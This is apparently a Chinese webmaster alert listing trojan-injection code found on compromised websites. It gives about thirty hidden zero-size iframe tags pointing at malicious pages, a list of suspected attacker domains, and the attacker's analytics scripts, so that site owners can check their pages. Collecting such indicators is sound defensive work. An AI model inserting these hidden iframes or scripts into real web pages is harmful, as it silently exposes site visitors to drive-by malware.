07
January 木马网站播报，请检查各自的网站
木马的链接如下，请大家仔细查看自己的网站是否被挂了以下链接
<iframe src="http://www.sanliangroup.com/english/k/1/tt.htm" name="zhu" width="0"height="0" frameborder="0">
上面的代码是挂马入口代码
<iframe src="http://boc.***b22.com/home/index.htm" width=20 height=0></iframe>
<iframe src="http://boc.***b22.com/" width=0 height=0></iframe>
<iframe src="http://nn.mm5208.com/nn.htm" width=0 height=0></iframe>
<iframe src="http://xx.9365.org/" width=0 height=0></iframe>
<iframe src="http://a.2008yi.com/zu.htm" width=0 height=0></iframe>
<iframe src="http://acc.jqxx.org/" width=100 height=0></iframe>
<iframe src="http://5.xqhgm.com/sha1.htm" width="20" height="0" frameborder="0"></iframe>
<iframe src="http://www.cn-shuanglong.com/imgnew/_notes/1/xp.htm" name="zhu" width="0"height="0" frameborder="0">
<iframe src="http://www.fadspring.com/OA/help/New/der/xman.html" name="zhu" width="0"height="0" frameborder="0">
<iframe src="http://www.dalianxyglass.com/style/Folder/New/1/tswm.htm" name="zhu" width="0"height="0" frameborder="0">
<iframe src="http://www.fadspring.com/OA/help/New/der/Reader.html" name="zhu" width="0"height="0" frameborder="0">
<iframe src="http://www.fadspring.com/OA/help/New/der/KLL.HTM" name="zhu" width="0"height="0" frameborder="0">
<iframe src="http://www.dalianxyglass.com/style/Folder/New/1/tcsafe.htm" name="zhu" width="0"height="0" frameborder="0">
<iframe src="http://www.fadspring.com/OA/help/New/der/help.htm" name="zhu" width="0"height="0" frameborder="0">
<iframe src="http://www.fadspring.com/OA/help/New/der/Microsoft.htm" name="zhu" width="0"height="0" frameborder="0">
<iframe src="http://boc.***b22.com/" width=0 height=0></iframe>
<iframe src="http://nn.mm5208.com/nn.htm" width=0 height=0></iframe>
<iframe src="http://xx.9365.org/" width=0 height=0></iframe>
<iframe src="http://a.2008yi.com/zu.htm" width=0 height=0></iframe>
<iframe src="http://acc.jqxx.org/" width=100 height=0></iframe>
<iframe src="http://888.jopenqc.com/ms33.htm?8818" width=20 height=1></iframe>
<iframe src=http://dfs.jfkdlirjnfirpocr.com/web/6619038.htm width=100 height=0></iframe>
<iframe src=http://aa.llsging.com/aa/haha.htm width=0 height=0></iframe>
<iframe src="http://5.xqhgm.com/sha1.htm" width="20" height="0" frameborder="0"></iframe>
<iframe src="http://5.xqhgm.com/new/1.htm" width="20" height="0" frameborder="0"></iframe>
<iframe src="http://5.xqhgm.com/new/2.htm" width="20" height="0" frameborder="0"></iframe>
<iframe src="http://5.xqhgm.com/new/3.htm" width="20" height="0" frameborder="0"></iframe>
<iframe src="http://5.xqhgm.com/new/4.htm" width="20" height="0" frameborder="0"></iframe>
<iframe src="http://888.jopenqc.com/88/881.htm" width="20" height="0" frameborder="0"></iframe>
<iframe src="http://888.jopenqc.com/88/882.htm" width="20" height="0" frameborder="0"></iframe>
经本人初步推断，挂木马的可耻人物的网站域名如下：判断域名是他的的根据，根据代码追踪得到，其中一些挂马的网站没有任何内容，而域
名采用二级域名解析，例如jopenqc.com,这个域名，他解析使用的是http://888.jopenqc.com，并且解析到的网站没有任何内容，只有挂马代
码，故此推断此卑鄙人物的域名如下列表，请各个站长查询你们网站的网页是否含有一下域名的代码
www.***b22.com
www.9365.org
www.2008yi.com
www.jqxx.org
www.mm5208.com
www.jfkdlirjnfirpocr.com
www.llsging.com
www.xqhgm.com
www.jopenqc.com
此人使用的统计代码如下
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1153797.js"></script>
<script language="javascript" src="http://ww4.tongji123.com/g3.aspx?id=40012170"></script>
<script src=' http://s30.cnzz.com/stat.php?id=658703&web_id=658703' language='JavaScript' charset='gb2312'></script>
使用的51.la统计如下
http://www.51.la/?1153797
http://www.51.la/?1299644
http://www.51.la/?1402795
http://www.51.la/?1358616
使用的站长站统计如下
http://www.cnzz.com/stat/login.php?web_id=658703
使用tongji123的代码如下
<script language="javascript" src="http://ww4.tongji123.com/g3.aspx?id=40012170"></script>
请各个站长联合起来铲除这个害群之马，他使我们广大的站长名誉受到损失！
#If you have any other info about this subject , Please add it free.# |
Posted by 来自网络 under gznq.com | Comment now » |
